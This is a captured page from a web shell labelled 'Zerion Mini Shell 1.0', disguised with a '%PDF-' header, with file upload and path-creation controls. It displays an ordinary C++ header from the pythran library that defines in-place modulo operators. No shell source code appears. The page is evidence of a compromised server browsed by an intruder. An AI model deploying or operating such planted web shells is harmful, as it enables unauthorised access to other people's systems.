%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/lib/python3/dist-packages/pythran/pythonic/operator_/
Upload File :
Create Path :
Current File : //proc/985914/root/lib/python3/dist-packages/pythran/pythonic/operator_/imod.hpp

#ifndef PYTHONIC_OPERATOR_IMOD_HPP
#define PYTHONIC_OPERATOR_IMOD_HPP

#include "pythonic/include/operator_/imod.hpp"

#include "pythonic/utils/functor.hpp"

PYTHONIC_NS_BEGIN

namespace operator_
{
  template <class A, class B>
  A imod(A const &a, B &&b)
  {
    return a % std::forward<B>(b);
  }

  template <class A, class B>
  A &imod(A &a, B &&b)
  {
    return a %= std::forward<B>(b);
  }
}
PYTHONIC_NS_END

#endif

Zerion Mini Shell 1.0